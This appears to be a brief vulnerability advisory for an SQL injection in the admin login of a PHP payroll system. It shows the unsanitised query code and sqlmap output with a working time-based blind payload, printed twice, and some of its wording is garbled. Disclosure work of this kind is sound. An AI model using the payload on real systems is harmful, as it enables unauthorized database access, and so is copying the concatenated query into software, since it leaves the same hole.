SQL injection vulnerability exists in username parameter of /admin/login.php file of Online Payroll System in PHP and MySQL Free Download A Comprehensive Guide

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
    if(isset($_POST['login'])){
        $username = $_POST['username'];
        $password = $_POST['password'];

        $sql = "SELECT * FROM admin WHERE username = '$username'";
        $query = $conn->query($sql);
```

```
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 525 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL ⩾ 5.0.12 AND time-based blind (query SLEEP)
    Payload: login=1&password=1&username=0' AND (SELECT 1011 FROM (SELECT(SLEEP(5)))QVMl) AND '
Zbuk'='Zbuk
---
```

“

Parameter: username (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: login=1&password=1&username=0' AND (SELECT 1011 FROM (SELECT(SLEEP(5)))QVMl) AND 'Zbuk'='Zbuk

---

“

Source Download：

https://www.campcodes.com/projects/php/online-payroll-system-in-php/